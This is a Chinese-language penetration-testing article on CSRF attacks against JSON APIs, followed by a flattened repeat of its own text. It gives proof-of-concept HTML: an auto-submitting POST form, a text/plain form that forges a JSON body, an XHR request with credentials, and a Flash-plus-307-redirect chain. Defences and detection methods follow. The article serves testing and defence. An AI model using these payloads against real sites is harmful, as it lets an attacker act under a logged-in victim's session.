JSON格式下的CSRF攻击研究与防御指南

0x00 前言

漏洞背景

在电信行业某子公司的渗透测试中，发现大量业务逻辑存在CSRF漏洞。特别是在JSON格式请求的场景下，传统的CSRF攻击方法可能失效，需要特殊处理。

CSRF原理

用户浏览并登录信任网站A
验证通过，网站A返回Cookie给用户
用户未登出情况下访问恶意网站B
网站B要求访问网站A，发出请求
浏览器带着Cookie访问网站A，以用户身份执行操作

0x01 常见CSRF利用

GET型CSRF

DVWA低级别示例：

<html>
  <body>
    
  </body>
</html>

可利用的HTML标签：

``
<link href="">
<iframe src="">
<script src="">
<a href="">
CSS中的background:url("")

POST型CSRF

<html>
<body>
  <form id="form" method="post" action="https://victim.com/submit">
    <input type="hidden" name="param" value="malicious">
  </form>
  <script>document.getElementById("form").submit();</script>
</body>
</html>

0x02 真实场景利用案例

某云平台POST型CSRF

创建Access Key：空POST请求，无需参数
删除Access Key：POST请求需要ID参数

0x03 JSON格式下的CSRF

挑战

请求体需为严格JSON格式
Content-Type需为application/json
传统表单无法满足要求

解决方案

方法一：JSON格式闭合

<form action="https://victim.com/api" method="POST" enctype="text/plain">
  <input type="hidden" name='{"appId":"123","appName":"' value='attack"}' />
</form>

需配合修改请求头Content-Type: application/json

方法二：通过XHR提交

<script>
  function attack() {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https://victim.com/api", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.withCredentials = true;
    xhr.send(JSON.stringify({"param":"value"}));
  }
</script>
<button onclick="attack()">Click</button>

注意：可能触发CORS预检请求(OPTIONS)

方法三：Flash+307跳转

制作Flash文件
制作跨域XML文件
制作307状态码的PHP文件

工具参考：swf_json_csrf

攻击链：

受害者访问POC，请求SWF文件
SWF向307.php发送POST请求
307.php发起307跳转到目标站点
目标站点收到POST请求，Content-Type为application/json

0x04 CSRF防御措施

检查Referer：验证请求来源是否为可信域名
限制Cookie生命周期：设置合理的Session过期时间
使用验证码：关键操作需验证码确认
使用Anti-CSRF Token：
- 每次请求生成唯一Token
- Token与用户Session绑定
- 服务端验证Token有效性
SameSite Cookie属性：
- SameSite=Strict：完全禁止跨站发送
- SameSite=Lax：宽松模式，允许安全方法(GET)跨站
双重验证：敏感操作需二次验证(如短信/邮件确认)

0x05 参考资源

技术文章

工具与代码

swf_json_csrf
Burp Suite CSRF PoC生成器

书籍

《Web前端黑客技术揭秘》

附录：检测CSRF漏洞的实用方法

自动化扫描：
- 使用Burp Suite等工具扫描所有表单和API端点
- 检查是否有CSRF Token保护
手动验证：
- 复制请求为HTML表单，移除Token测试
- 尝试修改Content-Type为application/json
- 测试CORS配置是否过于宽松
业务逻辑分析：
- 识别所有状态变更操作(密码修改、转账等)
- 检查是否有足够的防护措施
Token验证测试：
- 修改/删除Token观察系统反应
- 测试Token是否可预测或重用

JSON格式下的CSRF攻击研究与防御指南 0x00 前言漏洞背景在电信行业某子公司的渗透测试中，发现大量业务逻辑存在CSRF漏洞。特别是在JSON格式请求的场景下，传统的CSRF攻击方法可能失效，需要特殊处理。 CSRF原理用户浏览并登录信任网站A 验证通过，网站A返回Cookie给用户用户未登出情况下访问恶意网站B 网站B要求访问网站A，发出请求浏览器带着Cookie访问网站A，以用户身份执行操作 0x01 常见CSRF利用 GET型CSRF DVWA低级别示例：可利用的HTML标签： `` <link href=""> <iframe src=""> <script src=""> <a href=""> CSS中的 background:url("") POST型CSRF 0x02 真实场景利用案例某云平台POST型CSRF 创建Access Key ：空POST请求，无需参数删除Access Key ：POST请求需要ID参数 0x03 JSON格式下的CSRF 挑战请求体需为严格JSON格式 Content-Type需为 application/json 传统表单无法满足要求解决方案方法一：JSON格式闭合需配合修改请求头 Content-Type: application/json 方法二：通过XHR提交注意：可能触发CORS预检请求(OPTIONS) 方法三：Flash+307跳转制作Flash文件制作跨域XML文件制作307状态码的PHP文件工具参考： swf_ json_ csrf 攻击链：受害者访问POC，请求SWF文件 SWF向307.php发送POST请求 307.php发起307跳转到目标站点目标站点收到POST请求，Content-Type为application/json 0x04 CSRF防御措施检查Referer ：验证请求来源是否为可信域名限制Cookie生命周期：设置合理的Session过期时间使用验证码：关键操作需验证码确认使用Anti-CSRF Token ：每次请求生成唯一Token Token与用户Session绑定服务端验证Token有效性 SameSite Cookie属性： SameSite=Strict ：完全禁止跨站发送 SameSite=Lax ：宽松模式，允许安全方法(GET)跨站双重验证：敏感操作需二次验证(如短信/邮件确认) 0x05 参考资源技术文章谈谈Json格式下的CSRF攻击浅析CSRF漏洞的利用与防御机制 JSON CSRF新姿势工具与代码 swf_ json_ csrf Burp Suite CSRF PoC生成器书籍《Web前端黑客技术揭秘》附录：检测CSRF漏洞的实用方法自动化扫描：使用Burp Suite等工具扫描所有表单和API端点检查是否有CSRF Token保护手动验证：复制请求为HTML表单，移除Token测试尝试修改Content-Type为 application/json 测试CORS配置是否过于宽松业务逻辑分析：识别所有状态变更操作(密码修改、转账等) 检查是否有足够的防护措施 Token验证测试：修改/删除Token观察系统反应测试Token是否可预测或重用